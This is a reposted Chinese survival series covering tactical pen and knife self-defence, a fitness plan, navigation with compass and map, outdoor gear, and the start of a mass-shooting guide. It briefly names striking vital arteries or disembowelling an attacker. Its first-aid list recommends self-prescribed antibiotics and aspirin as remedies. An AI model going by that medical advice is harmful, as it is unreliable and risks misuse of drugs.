而反手握笔能让你更加自如地控制防身笔，进攻时会有更大的力量。别忘了把拇指放在笔盖顶端，这样可以有更多的支撑点。

1.3、战术防身笔放在哪

「图」

这一点也非常重要。要让它发挥作用，您就不能在身处险境时再到处找防身笔。

根据您的左右手习惯，您可以放在顺手一侧的裤子口袋里。您需要能以最快速度拿出防身笔。

不论放在哪一侧，您需要通过练习构建肌肉记忆力，以便条件反射般地明白该去哪里取。

1.4、利用战术防身笔

「图」

分为3个简单的步骤：# 握住防身笔；

- 将笔直接抽出；
- 将笔直接刺出（几乎就像拔枪一样）

1. 准备把刀放在哪？腰带上？口袋里？

- 您喜欢穿什么样的衣服？如果平时穿牛仔裤比较多，就能应付刀身的粗糙；
- 边角。如果您总是穿西装，那么它可能会划破衣服，您需要选择带有光滑手柄的刀具；
- 如何运用刀具？手动款、还是自动弹开式的？
- 它能承受多大重量？它能有多大尺寸？

1. 无论刀具抵住的是您的喉咙、胸膛还是后背，你都能够令袭击者缴械投降；

- 如果袭击者利用方向盘的杠杆原理来劫车，你能够制伏他；
- 如果有人一直藏在你的车后座 —— 包括在行驶途中，你可以如何制伏他；
- 如果有人趁你熟睡时进门，用刀抵住你的喉咙，你也应该能够让其缴械；
- 如果有人持有致命武器，如何攻击其要害部位例如肱动脉、颈静脉、心脏，或者通过剖腹来发起反击。

这些只能通过实地训练获得。也许您可以在网上找到一些视频。但是您依旧需要亲自尝试才能掌握要领。

3、 保持最佳状态

「图」

身体状态是非常重要的。

日常训练其实很简单。它的目标就是，如果遇到灾难，您不至于跑出10步就疲惫不堪。如果必须背上72小时工具包走几里地，您不应该有任何问题。

您也必须能摆脱短期危机，如果在停车场遭遇绑架、在小巷里遭遇抢劫，您需要能够迅速逃离危险区域，进行有效的自我防御。活动家走在街上避免被套上黑头套也需要这样的爆发力练习。

下面这些简单的练习就能给身体积累爆发力，让你能在遇到危机时快速行动。计划：

周一：高强度训练。全速奔跑15～30秒，紧接着暂停60秒。

全速的意思就是全速，用尽全身最大的力气，在这15～30秒内如果没能到气喘吁吁快要瘫倒的地步，说明您还没有用尽全力。

按照这个模式练习5次，接着走上一公里来平复。

周二：轻松地跑 3～4 公里，这次是慢跑，但肯定会出一身汗。

周三：重复高强度练习。5组 15～30秒全速奔跑，每次间隔休息60秒。最后走一公里来平复。

周四：又一次长跑，慢跑 3～4 公里。

周五：再次高强度训练，重复周一和周三的内容。

当然您可以随意更改。如果您此前很长一段时间没有练习过任何内容，那么建议从减量的程度开始，以便让身体熟悉节奏。然后在加量。

训练能带给您自信心，帮助您变得更加冷静和敏捷，更好的体力是逃生的关键。试试看吧。〇

上图中这本书在这里下载：https://www.patreon.com/posts/39730857

—— 未完待续 ——

原文

您的生存工具箱中应该放入什么：在灾难中幸存的方法（9） - iyouport

在灾难中幸存

生存和求生最大的区别在于，生存是主动的，求生是被动的

欢迎回来！

如果您错过了前面的内容，可以在下面回顾：

- 《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》
- 《准确的情报和判断：基准线—在灾难中幸存的方法（2）》
- 《您必备的基本防身装备：在灾难中幸存的方法（3）》
- 《如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4）》
- 《如何撬锁、翻栅栏、短路点火发动汽车：在灾难中幸存的方法（5）》
- 《特工战斗法帮你摆脱跟踪监视：在灾难中幸存的方法（6）》
- 《如何欺骗，和如何防骗：在灾难中幸存的方法（7）》
- 《武器和自我防御的重要策略：在灾难中幸存的方法（8）》

这里是第9集，专注于户外生存技能。这可能并没有您想象中那么容易，但您依然可以通过有条不紊的计划和训练获得扎实的生存能力。

首先您应该知道：

1、什么样的人能成为求生者？

任何人都可以成为求生者。随时为袭击、动荡、暴力、战争、自然灾害等突发情况做好准备，是一种思维模式，它要求您使用周围一切可以使用的资源以让自己活下来。能够应对生活中的种种不测，是一种极高的智慧。

2、作为一名求生者，您应该知道些什么？

求生者至少需要知道一些关键的活命技能，比如收集食物和水、生火、搭建临时住所、疗伤等等；也应该知道户外什么东西对生存来说很重要，有哪些可以作为维持生命的补给。

3、为什么要学习求生知识？

即使您从未在灾难中使用过求生技能，为灾难做足准备和丰富的相关知识，也能让您更有安全感、更从容不迫。一旦发生灾难，您将比那些疯狂抢超市和囤货的人们具有更高的生存几率。

4、求生知识应该教会我什么？

显然，求生知识将教会您生存。但它也会教会您如何面对生活中的挑战和障碍，以随时做好准备。您可以学习到如何解决问题，自力更生的智慧将帮助您在日常生活中各种方面受益。

本系列内容的前面8集都是求生知识。求生技能和生存技能有非常大的重叠，但它俩有本质上的不同：生存是主动的，求生是被动的。本文将专注于生存技能 —— 于是它将包含挑战精神。

不废话，马上开始。

上图中这本书在这里下载：https://www.patreon.com/posts/ge-ming-zhong-de-38191934

最基本要做的工作

「图」

制定一项成功的生存计划依赖于三个彼此独立而又相互影响的元素：计划、准备以及实践工作。

生存计划，就是指了解哪些事情可能会让你陷入困境，一旦头脑里有了这种意识，就应该立即采取措施以增加自己的生存机会。

这种情况每个人都可能在任何时间和地点遇到，因此要记住：不作计划就等于计划失败。

计划的有效性基于准确清晰地评估。于是评估是所有生存活动的基础 —— 即 论证现在或不久后将可能遇到的问题，对您自己能利用什么

资源、能采取何种策略等，做一个综合性的衡量。

评估的关键是要清楚您的目的。因为您评估的所有指向都是要完成这个目的。

评估的过程就是在众多方案中选择一个最适合您的；或者经过评估后您会放弃原有的目的，改而制定一个更适合自己的方案。

您首先应该对自己的心理、技能、体能3方面作出客观的评估。

户外生存的主观能动性非常重要，如果您能在强大的压力下保持乐观的心态，就没有什么事能难倒您。请注意：乐观绝不是盲目的，它必须建立在具有充分的知识和准备的情况下，切勿高估自己！高估会非常危险，因此送命的人并不在少数。

技能可以帮助您的旅途变得更轻松。虽然有些生存技能会受到体能的制约，但如果没有生存技能做保障，体能再多也没有大用，而且生存技能对提升个人心理来说非常有效。

或许您的体能并不是很强壮，但只要您具备丰富的技能，就足够保证不论遇到哪种情况都不至于惊慌失措。

自身体能决定了您适合哪种强度的生存活动。如果您步行5公里就会气喘吁吁，那就最好不要去那种必须在一小时内行进10公里的地方。

不过体能的要求并没有人们预想的那么高标准，一个身体健康的人在心理驱使和技能辅佐的情况下，在极端环境中生存下来的成功案例是很多的。

> 任何装备您都可以花钱买到；但是知识的学习和严格的训练只能靠您自己来完成，获得生存的三要素
> —— 心理、技能、体能 —— 并没有捷径

请注意：心理、技能和体能需要依靠客观的评估，而不是自我感觉。

每个人都随身携带了最强大的生存工具—— 大脑和手，因此无论处于什么样的生存环境下，首先您要有强烈和坚定的求生意志。

如果你已完成对自己的客观评估，觉得自己可以胜任了，接着就该评估一下地理状况了。也就是说，您要对将要去的地方有个大概的了解，包括您所要去的地区地貌情况、计划线路、所需的时间、水源和食物是否充足、当地现在以及今后一段时间的天气状况等。

这些评估决定了您需要带多少食物和水，以及需要准备什么样的装备等等。

如果现在您已经客观地评估了自己的身体、地理以及天气状况方面的情况，那剩下的就是生存技能了。这是本系列内容唯一能够给予您帮助的地方。

> 请记住：评估贯穿整个生存过程。在途中，您需要评估每一件事，在每一个可能性之间尽可能准确地取舍，选择最好的解决方案。

上图中这本书在这里下载：https://www.patreon.com/posts/zai-tu-fa-xing-38192025

关于野外生存的忠告

「图」

1、保持轻松快乐的心态能帮助您保存体力和精力。

2、量力而行，养成评估风险的习惯。

3、每一次都需要为自己准备一个 PlanB，特别是高危的活动，必须有备用选项，避免孤注一掷令自己陷入危险境地。

4、如果没有必要就决不冒险，这应该成为原则。就如我们在上一集中对徒手搏击技巧的警告那样：搏击是为了寻求逃生机会，而不是斗殴。不要把自己逼入边缘。

5、节约是美德，也是技巧。

6、合理地分配您的资源，以帮助更安全地渡过险境。

7、合理地使用工具和制作工具，能让您事半功倍。

8、掌握必要的物理、化学、自然和医疗知识，可以救命。

小经验

「图」

那么究竟有没有一个一劳永逸解决所有问题的标准呢？很不幸，没

有。户外生存是一个动态的过程，它的本质决定了它不可能像生产汽车零件那样用标准来衡量 —— 除了安全这个不可逾越的底线。

但一次成功的生存活动必然经过发展和结束的过程：

- 分析 —— 决定您是否适合此次活动的基础；
- 计划 —— 包括准备工作；
- 执行 —— 开始行动；
- 控制 —— 保证活动的内容、节奏、安全等处于您可控的范围内；
- 调整 —— 根据实际情况对计划进行更适合实地的调整；
- 总结 —— 活动完成后总结整个过程，取得经验。

需要节约的是资源，但绝不要吝啬思考的时间，思考能让您更加客观全面地看待问题，也能帮您预先判断事物的走向，帮助您节省体能和保护安全。实际上思考的过程就是不断重复以上步骤。

如果能将这一过程的每一步都认真仔细地做好，您很快就能成为一个非常优秀的户外生存者 —— 当然，前提是您必须要有强大的技能基础。

上图中这本书在这里下载：https://www.patreon.com/posts/sheng-cun-zhi-1-38193788

接下来将介绍几个也许您已经很熟悉的东西，却并不一定知道该如何最合理地使用它们。

1、指北针

「图」

方向是永恒的主题。迷失方向会非常危险，容易让您作出错误的决定。很多灾难都是从失去方向开始的。

- 方向角量取

不同种类的指北针度量方向不一样，普通户外装备店的指北针刻度通常都是顺时针度量，而军用指北针或勘测专业指北针通常是逆时针度量，因此要根据您的指北针刻度来读取方位角。

按方位角前进几乎不会迷路，哪怕您根本没有地图和路标，只要根据指北针的方位角前进，您的大方向永远不会错。

当然，有可能方位角会把你带向不可通过的地形，这个问题在以下的地图标定中会告诉您可以怎样解决。

- 按方向角前进

首先，将指北针放平，待指针静止，标定方向。

指北针保持不动，面对您前进的方向，在刻度盘上读出方向角数值，记住这个数值。

在下一个转弯处拿出指北针，标定方位，再次在刻度盘上读出您前进方向的方位角，并记住它。

每一次转弯就重复标定方位，记住前进方向的方位角。

如果前方没有路或迷路的时候，拿出指北针，读出方位角，回头朝相反方位角行进，回到上一个转弯点，拿出指北针读出前一个方位角，再向相反方位角行进。

如上图标示，ABCD为转弯点，虚线箭头方向为前进方向方位角，另一端为相反方位角。

例如在D点，就读出上一个转弯点C点的方位角北（0°或者360°），向相反方位角南（180°）前进，回到C点，读出B点的方位角。

如此反复，这样你就能找到来时的路。

哪怕你错过了转弯点，没能找到来时的路，按方位角前进，也不会丢失大方向，而最简单的方法则是：标定你的迷路点，和起点连一条直线，把这条直线的方位角标定出来。

虽然可能会有偏差，但大方向是不会错的，给你造成麻烦的最大可能是地形，或许你不得不硬着头皮逢山开路，遇水搭桥。

- 按方位角回头

按方位角回头的时候很容易找到来时路上的标志物，如果您按210°方位角回头，不考虑地形因素路途最短，但线路标定要比较精确。

如果您偏离了原来的线路（途中虚线线路），在复杂地形上很可能找不到转弯点（ABCD），但只要看到了明显标志物，此时您就要修正线路，先回到转弯点，再按方位角前进，这样就能很快回归正确线

路。

因此无论按哪种方式行进，都要随时检测标志物和修正线路。

> 请注意指北针的日常维护，不使用时要存放好；切勿摔打指北针；存放时避开磁场、磁铁等器物，防止磁针磁性损耗；使用前最好线测量一下是否灵敏 —— 使用钢铁器物（如小刀）靠近磁针，磁针转动灵敏，就可以使用。

2、地图

「图」

指北针和地图联合使用能发挥最大的作用。

虽然现在有先进的GPS定位技术，甚至能强大地绘制您的出行轨迹，但是，技术会让人产生依赖，而手机会失灵、会损坏、会丢失、甚至被欺骗，只有基本技能永远不会让你失望。

- 《如何通过欺骗Wi-Fi热点来更改手机坐标》

如今网络发达，很容易找到卫星地图，您只需要把它打印下来，然后按照以下方法操作，就能在出发之前对路程有一个清晰的了解。

读图的要诀是：先点后线，由线及面。

首先将地图上的明显点状地形找出来，例如山脉最高峰顶，易于找到的山峰、一些独立的地形 —— 烟囱、巨石、洞穴等等，把这些地形标定出来，然后找线状地形，诸如道路、河流、山脉、山谷等。

这时候这个地图的大概地脉您已经了解了，然后在寻找面状地形 —— 湖泊、草地、空地、地形复杂的山地等等，整个地形您就已经大概了解了。

- 读图

123 为点状标定；ABC 为线状标定，A-1 A-2 为面状标定。

接下来就是使用指北针标定地图，也就是让指北针的 “北” 和地图的 “北” 方向一致。

- 地图标定

地图的标定是以后行进的基础，如果标定错误，那就意味着您所行进的方向会出行非常大的偏差。

最后就是在地图上寻找您的前进道路了。

线路标定是和地形有密切关系的：首先在地图上标注出起点和终点。根据两点间的地形状况，选择一条最佳前进线路，该线路首先要容易寻找检测点，也就是容易识别的标志物，将这些标志物在地图上一一用画图笔标明出来，好在行进中检测。

再根据地图比例尺，测量各个里程段的距离，估计行进时间，并在地图上标注。

在地图上度量的距离为平面距离，如果是山地地形，考虑到坡度，通常乘以比例系数1.2～1.5，和实际路程比较接近。

但你必须考虑坡度以及植被等因素对你的体能挑战—— 在许多山地、丛林地形上，一个小时能前进3公里算比较快的速度了；有些恶劣的地形，哪怕是特种部队，一个小时也有前进不到1公里的情况。

标定线路最快的方式是地图分割法。

地图分割不是要你把地图切开，而是人为地将地图分成小块，容易识别。

起点和终点是最重要的两个点，将两点连一直线，但这直线往往不会是你的前进线路，依照这条直线两侧各量出1～3公里，人为地划分出一条“高速公路”，你的线路就基于此“高速公路”内标定。

暂时不要把区域外的地形考虑在内。

然后分解行进区域，找到每个转弯点，在转弯点附近用圆规量出1公里或更远的区域，标注标志物。

转弯点是重要的检测点，但检测点并不只局限于转弯点，路途中的任何一点，只要附近有标志物，都可以作为检测点。

检测点的作用是在你行进途中对你的方位，站立点进行识别，避免迷路。

最后，标定你线路的方位角。有了方位角和标志物，你几乎不会迷路。

- 地图标定 2

在地形不太复杂的情况下，您几乎可以顺着直线前进，只需要在前进途中随时注意您的方位角和标志物就可以了。

但是如果遇到某些难以通过的地形比如悬崖、山谷、湖泊、河流等，“高速公路” 被切断。那就需要另开一条岔道。

“岔道” 同样标定出转弯点、检测点、距离、线路方位角、利用 “岔道” 绕过难以通过的地形后，在重回 “高速公路”。

- 地图标定 3

在丛林、山地等复杂的地形上，您或许需要标定许多条 “岔道”。这时您需要仔细读图、详细地标定，在路途中还要进行多次修正 —— 在出发之前在您的电脑上把图放大，观察局部细节，如果有必要，打印几份不同比例尺的地图。

如果路途遥远，生存地域广，您就需要用另一种地图分割法，也就是把地图人为地划分为若干个小方块。

通常情况下划分为4块，更广的区域划分为9块。每一块大约1 ~ 2天的路程。在小方块里，依照以上的地图标定法来标定，然后将所有路线连起来。

- 地图标定 4

地图标定好后并不能一劳永逸。在前进过程中您还需要根据实地情况检测标志物和做路线调整。

地图并不能标出所有地形细节，某些标志物并不会出现在地图上。例如林木、小路、水塘、溪流等等，这些标志物需要随时补充上去。这样您的地图就会有利于接近实地。

- 地图标定小经验

线路最好位于易于行进且容易检测标志物的地形上；转弯点最好在标志物附近，一旦迷路你能很快地按方位角返回标志物附近；

平原、沙漠等平坦地形缺乏标志物，严格按照方位角前进，直来直往最便捷；

山地、丛林等复杂地形，最好能在线状地形附近标定线路—— 线状地形不容易丢失方位角，容易寻找标志物。

但你也要注意一些线状地形将你引入歧途，例如 山脉的支脉、山谷的分岔等。

因此在地图标定的时候，就要把这些地形标定出来，在实地要注意检测站立点和方位角；熟练使用方位角是所有野外生存者的基础技能。

上图中这本书在这里下载：https://www.patreon.com/posts/sheng-cun-zhi-2-38193959

轻装上阵

「图」

户外生存 **最好** 的装备是什么？答案就是：您的大脑和手脚。

虽然装备排在 *生存要素* 的最后，但是，有些装备却能给您很大的帮助，它们绝对值得您付出一些体力携带上路。

挑选装备有个原则：优先携带必需品，其次考虑用途广泛的装备，然后根据重量考虑用途单一道德装备。除了指北针和地图之外，下面列出的都是俗称 “万能装备” 的小物件，在绝大多数情况下都能配合您的技能帮助您的户外应对自如。

1、必不可缺的装备：刀和火种

「图」

刀：刀子是户外生存的最重要装备，当然也是城市生活中抵御突发袭击的重要工具 —— 我们在前面几集中有过介绍。

但本文和前集中的主题不同，不是搏击，而是生存。于是这里的刀具与前面介绍过的规格也有所不同。

关于刀的选择本身就是一项生存技能。刀子在这里的主要功能是劈砍、切削和穿刺。

求生刀和生存刀其实是一个很宽泛的概念，任何一把有助于您生存的刀具都可以叫求生刀。没有十全十美的装备，刀具也不例外，所以您要对您的刀具或装备有一个全面的了解 —— 了解它的用途和极限。比如 用一把狗腿砍刀去削小竹签你会发狂的，用一把小折叠刀去砍木头也是显然不行的。所以通常建议携带两把刀。

主刀全长通常为 30 ~ 35 厘米，偏向劈砍功能，刀鞘配救生盒套和打火棒套，刀柄用救生绳编结一个腕带，套在手腕上防止大力劈砍时脱手伤人，紧急时刻也可以拆掉腕带作为绳索。

副刀偏向切削功能，全长20 ~ 25厘米，刀刃锋利，是主刀的备份，通常建议使用猎刀—— 在紧急时刻下，猎刀较宽厚的刀背可以敲击，从而达到部分劈砍的功能。

一些多功能的折刀也能应付普通的野外环境，例如瑞士军刀。它的锯子非常实用，但折刀应付不了强度更大的生存活动，而且容易损坏。

火种：火种的种类很多，根据气候携带你的火种。如普通的塑料打火机，在严寒和酷热下，它很容易出现故障。

记住一点，越简单的东西可靠性越高。

打火棒无论在什么环境下，它都能打出火星。

火柴一直是生存者必备火种，但你需要做一些保护工作：将火柴头蘸在熔化的蜡里防水，保护好擦火纸不要受潮。

这些可靠的火种必须在你的装备里占得一席之地。 接下来就是您所准备的火绒的问题了。

使用油料的防风打火机很方便，但您必须要考虑到油的挥发，通常油料打火机灌满一次油能保证5 ~ 7天的正常使用。然而在高热、干燥的地方，三天或许油料已经挥发殆尽。而在极寒时，油料有可能会冻结，这时候，您就要把火机放在贴身的袋子里，用体温保证它的可靠。

如果您携带的是油料打火机，记得多备上几颗打火石，或许还得带上一点火机油。

上图中这本书在这里下载：https://www.patreon.com/posts/sheng-cun-zhi-3-38194038

2、很重要的装备：帽子和生存丝巾等

「图」

帽子：帽子的作用很多，可以遮阳，避免在阳光下长时间导致头晕中暑；气温低的适合还可以保暖；夜间能防蚊虫叮咬；紧急时候还能用来止血和急救。

通常建议使用布制圆边帽，比棒球帽和鸭舌帽都更适合户外生存。而那些网纹的帽子虽然会凉爽一些，但也容易让你的头暴露在阳光下引起中暑，而且对保持体内水分不利，夜间降温时也无法保暖。

生存丝巾：一条长约1.5米、宽30～50厘米的网纹布，或1×1米的生存方巾，比围巾状生存丝巾用途更多一些。在日光强烈的时候，将丝巾围在脖子上可以防止被阳光晒伤，可以为你保持体内水分，可以做成简易的遮阳帽，在强光、沙漠、雪地里行进的时候，还可以用生存丝巾盖在帽子上做成面纱，替代墨镜防止眼睛被阳光灼伤，能有效地防止雪盲症。

夜晚可以把它围在脖子上保暖和防止蚊虫骚扰，代替毛巾做个人清洁，做滤水筒，还可以做成网捕获鱼虾、鸟和昆虫以及急救等等。

防水布：通常用2×米、3×3米的，主要用来建立庇护所。它虽然很轻，但作用非凡，可以保温、防雨、在干旱地带取水。

油布应付普通的生存活动足够了，但很容易损坏。如果有必要制作损耗性的工具—— 例如制作皮筏、担架、睡床等，必须要厚实的防水布。

防水布永远不会让你失望，你只需要几块石头，外加几根树枝就能在十分钟内搭建一个简易庇护所。

哪怕是在很恶劣的环境下，防水布也能给你搭建出一个 “温暖的小家”。

袜子：野外生存有一句话 —— 不但要好好保护你的头，更要好好保护你的脚。袜子不光能保护你的脚，还可以作为绷带、做火把、过滤脏水、做滤水筒，和防水布或雨衣配合，可以帮你从海水甚至污水里取到干净的水。

在寒冷的时候，把袜子折成团塞在腋窝及腹股沟，或将袜子配合生存

丝巾围在脖子上，将身体蜷缩起来，都可以保暖。

水壶：最好使用外套金属饭盒的水壶。饭盒可以做锅使用，记得一有机会就补充水壶。

水是生命之源，野外虽然永远不“缺水”，但很多时候，不是随时能取到水。

雨衣：不管你的户外服装多么高档，有几防效果，都要带上一件雨衣。

选择好你的雨衣，雨衣的作用并不只是为你遮风挡雨，还可以做帐篷、防水垫、搭建简单的阴凉篷、制作漂浮包、保暖、取水等。

这些装备用一个小小的背包就能装下，一个体弱的女性都能轻易地携带。

三、次重要的装备：安全绳、手表等

「图」

安全绳和保护索：如果您是在丛林、山地、预计需要涉渡等情况下，带上安全绳和保护索，它们能让你通过许多悬崖、沟谷、安全的涉渡，在缩短你路途的同时还能保护你的安全。

与专门去进行索降户外活动不同，在生存情况下你需要尽量地减轻重量，安全绳通常使用直径8毫米的静力绳，根据地形和你选择的线路携带长度，通常20～30米就足够了。

保护索最好使用宽度1.5厘米的扁带，没有扁带直径5～6毫米的辅绳也能胜任。 保护索除了能保护你安全，还能做搭建帐篷等工作。

绳索技术也是户外生存中重要的技能，而且非常有意思，在第二章中会详细讲述怎么使用。

手表：它能让你掌握时间，如果有太阳，还能很快给你找到概略方向。如果你牢牢掌握了标图的技能，手表还能为你标定线路。

腰带：将重要的装备随身携带。

干粮：虽然野外就是你的大食堂，但很明显这是一家“自助食堂”，一切都需要你自己动手，预备着一些随时能吃的食物，最起码能让你安

心。

铲：一把长30厘米左右的工兵铲，多用工兵铲还可以当镐和砍刀使用，而且可以轻松地通过安检。在你预计需要进行“土木工程”的时候，带上它吧。

虽然刀也能胜任某些“土木工程”，但并没有它效率高，并且很容易损坏你宝贵的刀。

四、以防万一的装备：急救包、止泻药等

「图」

虽然野外也是一间大药房，可是让人挠头的是，这仍旧是 “自助药房”。自备一个急救包会让你最快地得到治疗。

在野外最常见的病痛是感冒、发热、腹泻、便秘、中暑、过敏，也有可能会受伤，因此你的急救包里要准备以下一些药品和器械：

1、复方阿司匹林：它的作用是解热镇痛，缓解肌肉酸痛，对付一般的感冒效果很不错。它还有轻度止泻功能。

当你走了一天，停下休息时，吃上一片，半小时后它开始起效，而此时正好是你肌肉开始释放乳酸的时间。

野外的水并不一定干净，或许烧开后你的肠胃也不会完全适应，它的轻度止泻功能，足以欺骗你的肠胃继续工作。

2、止痛药：这个可以少量带上些，在不幸受伤时它可以帮你缓解疼痛—— 阿司匹林虽然有止痛的效果，但是它只适用于轻中度的疼痛。

3、止泻药：阿司匹林虽然有很多功能，但它也不是万能的。万一你的肠胃造反，你可以用止泻药镇压。否则很容易让你虚脱、脱水。

市场上的止泻药有很多，比如土霉素、诺氟沙星以及红霉素片，他们不光有止泻作用，还有肠胃杀菌的功能。

诺氟沙星以及红霉素片还是广谱抗菌素，可以用到其他的炎症上。更主要的是它们便宜效果好，而且量还足。

4、润肠药：这个是对付便秘用的。例如非常便宜的果导片，最好带

着吧。

5、广谱抗菌素：如果有伤口，不要放任不管。野外的细菌很多，记得将伤口包扎好，吃片药，直到伤口愈合。一般带够一个疗程的剂量。

诺氟沙星以及红霉素片的主要作用还是杀灭肠道细菌，对于伤口的炎症效果并不是太明显。

6、抗过敏药：主要用来对付过敏。如果你是过敏性皮肤就更不能忘记它了。例如一小瓶祛风油，它不但能治疗轻度的皮肤过敏，还能缓解感冒、发热症状和扭伤，甚至还能抓蛇。

内服的抗过敏药物也要准备一些。

7、纱布、绷带、药棉和医用胶管：一块纱布，一卷绷带，一包药棉，在出血受伤的时候用于止血和包扎。

带上两根一尺长的医用胶管，它除了可以做止血带外，还可用于制作弹弓。

8、止血钳、手术刀片、缝合针与缝合线：如果不幸有人受伤，需要急救的时候，这些器械能派上用场。

根据你所需要去的地形、气候和你的禁忌症来准备药物，急救包里除了药物和器械，你还应该放置以下物品：火种、小刀、一小包盐、一壶水和一些干粮。

虽然谁都不想用到急救包，但紧急时刻没有急救包，许多人会束手无策。这些物品并不重，你只需要一个小腰包或腿包就能装下。

急救包里都是基本的生存用具，要经常检查。里面的水和食物通常不使用，但有机会就替换。

人在遇险的时候，肾上腺素急剧增多，紧张和焦虑会使你消耗大量能量和水分，在一定时间内不能恢复正常的情绪，这些食物和水足可以能帮你撑过一天，给你冷静考虑的时间。

急救包里还可以根据你的需要和空间放置其他应急物品。

如果是团队生存，急救包是必须要准备的。根据气候、生存强度、生存时间准备药品，大多数情况下每种药品按照单人使用剂量准备3～5

天药量。

强烈建议在这个时候您要主动带上急救包 —— 里面的水、食物等，那可是你的 “私货”。

9、救生盒：哪怕是最强的生存者，都会认真地准备救生盒。这是一个香烟盒大小的结实铁盒（许多种润喉糖铁盒就很合适），里面通常放置以下物品：一个纽扣指北针、几枚鱼钩（7 ~ 10号钩）、5 ~ 10米长的渔线、备用火柴、擦火纸、一根蜡烛、一些常用药品、一小包盐、几根针（至少一枚大号的缝衣针）、约2米的棉线、两到三片手术刀片（至少一片尖头刀片、一片大号刀片，手柄可以临时制作）。

根据空间，你还可以放置你所需的其他物品，空隙处用棉花填充好，盒子用电工胶布缠好封口—— 电工胶布可以防水，也能重复使用，必要时还能包裹手术刀片成为临时刀柄。

救生盒是最后的救命法宝，要放在有拉链的口袋里随身携带，无论在任何时候，都不要让它离开你。

急救包和救生盒里的东西都要注意防水。特别是食物、盐和火种。

食物、盐和火种分散在急救包、救生盒和背包中，用合适的小塑料袋扎好，摆放整齐。在你遇险的时候不至于被一窝端了，只要能抢救出一两样，情况就会大不一样。

每次出发之前，认真地准备你的急救包和救生盒—— 注意药品的有效期、使用剂量（如果你记不住，就用纸条写好与药品放在一起）。

如果你选择的线路强度很大，或者队伍中有体弱者，准备几粒速效救心丸，在紧急时刻它能救命。

如此简单的装备，足以让你应付绝大多数野外生存活动，并且能让你生存得很好。

但在清空背包的同时，您更需要充实头脑 —— 技能越强的人，所需要的装备越少。

装备大多数都能携带在身上，一些 “笨重” 的绳索、雨衣、防水布、也仅仅用一个小背包就能带走。如果合理运用你的装备和技能，哪怕是普通人使用这些简单的装备在野外生存一个星期都不是问题。

至于其他的装备，您可以根据自己的体能和生存环境来增加。

如普通的郊区野营，为了方便，炉头灶具烧烤炉等带着也并不会让你付出太多体能。 如果是团队前进，人多的好处就在于力量大，可以携带更多的装备。

但指北针、刀、生存丝巾、防水布、盐、水、食物、火种、救生盒是每个队员都要携带的，其余的一些装备可以共享。

出发前根据列出的清单严格检查每个队员的装备状况，以免有遗漏。

装备选择的小经验

「图」

装备很大程度上决定了您的“野外生存质量”，因此要好好地保护您的装备，不要用刀去劈砍石头或做挖掘工作，药品和火种要注意防潮。

记住您的装备位置，使用完装备之后，立刻放回原处。

养成休息时检查装备的好习惯。

装备备份原则，亦即重要的求生装备需要一份备份以应付意外情况。例如救生盒是急救包的备份，纽扣指北针是指北针的备份，副刀是主刀的备份，有了最基本求生工具配合你强大的生存技能，就算到了求生境地，情况也不会太糟糕。

注意：装备是根据地形和气候而来选择的，越恶劣的地形和气候，对装备的要求就越高。

这里所罗列的装备能应付大部分情况，但如果你是去攀登雪山，其生存技能和装备是与其他地形大不一样的，您必须要准备例如冰镐、冰爪、高质量的帐篷和睡袋、专业的雪山防护绳、护目镜，以及相应的急救药品，甚至还需要携带氧气瓶等专业装备。

在雪原等难以找寻食物的区域，食物和水的比例要提高，在没有燃料生火的地区，炉头和气罐就显得很重要，而沙漠中，水决定了您的一切，尽量多带上水。

好啦就是这样！关于一些实际操作的技能，本文中所有穿插的书籍中都有详细介绍，而且有很多图，您可以很容易理解和练习。免费下载。

到此，本系列完结！希望每个人都能获得智勇双全的傍身技能，足够

应对各种威胁和条件 —— 活下来，创造未来。〇

上图中这本书在这里下载：https://www.patreon.com/posts/dang-nin-mei-you-39670006

原文

如何在大规模枪击案中幸存：在灾难中幸存（10）- iyouport

在灾难中幸存

幸存者指南的中心宗旨是—— 最好在任何事情发生之前就进行战略思考，并制定计划

欢迎回来！

如果您错过了前面的内容，可以在下面回顾：

- 《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》
- 《准确的情报和判断：基准线—在灾难中幸存的方法（2）》
- 《您必备的基本防身装备：在灾难中幸存的方法（3）》
- 《如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4）》
- 《如何撬锁、翻栅栏、短路点火发动汽车：在灾难中幸存的方法（5）》
- 《特工战斗法帮你摆脱跟踪监视：在灾难中幸存的方法（6）》
- 《如何欺骗，和如何防骗：在灾难中幸存的方法（7）》
- 《武器和自我防御的重要策略：在灾难中幸存的方法（8）》
- 《您的生存工具箱中应该放入什么：在灾难中幸存的方法（9）》

本集为补充版。原本到第9集已经完成，最初抹去了大规模枪击事件的内容，主要是考虑到这种情况在中国发生的可能性相对较低；但是有读者提出这个问题 —— 曾经可能性低不代表永远可能性低，很有道理，于是补充上这个部分。

“大规模枪击事件” 的定义各不相同，但通常被定义为 3 ~ 4 人被杀的枪击事件。然而也可能的状况是，许多人遭到枪击受伤，但没有人死亡，仍然可以定义为大规模枪击事件。

这可以来自于所谓的恐怖组织、也可能来自于 “报复社会”，或者纯粹

的精神病态，再或者，针对抗议者的镇压行动。

似乎没有任何一个公共场所能够幸免于大规模枪击事件的危险。学校、教堂、电影院、KTV、商场、百货公司、餐馆，甚至健身房、广场 …… 随时都可能会发生毫无意义的悲惨事件。

所以您需要一些基本层面的防御技能。

1、准备好

「图」

以下是一个清单，关于您需要做点什么以便能让自己应付可能发生的大规模枪击事件。

📌 幸存者指南的中心宗旨是 —— 最好在任何事情发生之前就进行战略思考，并制定计划。这里也一样。如果您发现自己正处于射程范围内，您已经没有时间去思考该怎么做，因为每一秒钟都事关生死。

诚然，每一种情况都是不同的，但有一些普遍适用的生存策略，您值得了解。

2、主动意识

「图」

如果是暴力镇压导致的大规模枪击事件，也许不难预测到；但是如果不是这种，其他任何一种都是很难预测的，因为它们随时可能发生，而且在任何地方都可能发生。因此，合乎逻辑的假设是，它可能在任何时间任何地点发生在你身上。

所以，防御的第一步就是要更加注意周围的环境 —— 即 态势感知。当你在公共场合时，请密切注意建筑物，比如出口入口、可以藏身的房间，或者可以藏身的东西，比如比较大的金属台等等。进门时先扫一眼四周，让自己心里有数。

3、观察人群

「图」

您需要注意的是任何看起来可疑的人。寻找任何穿着可能用来藏匿武

器的长风衣或背着大背包的人。

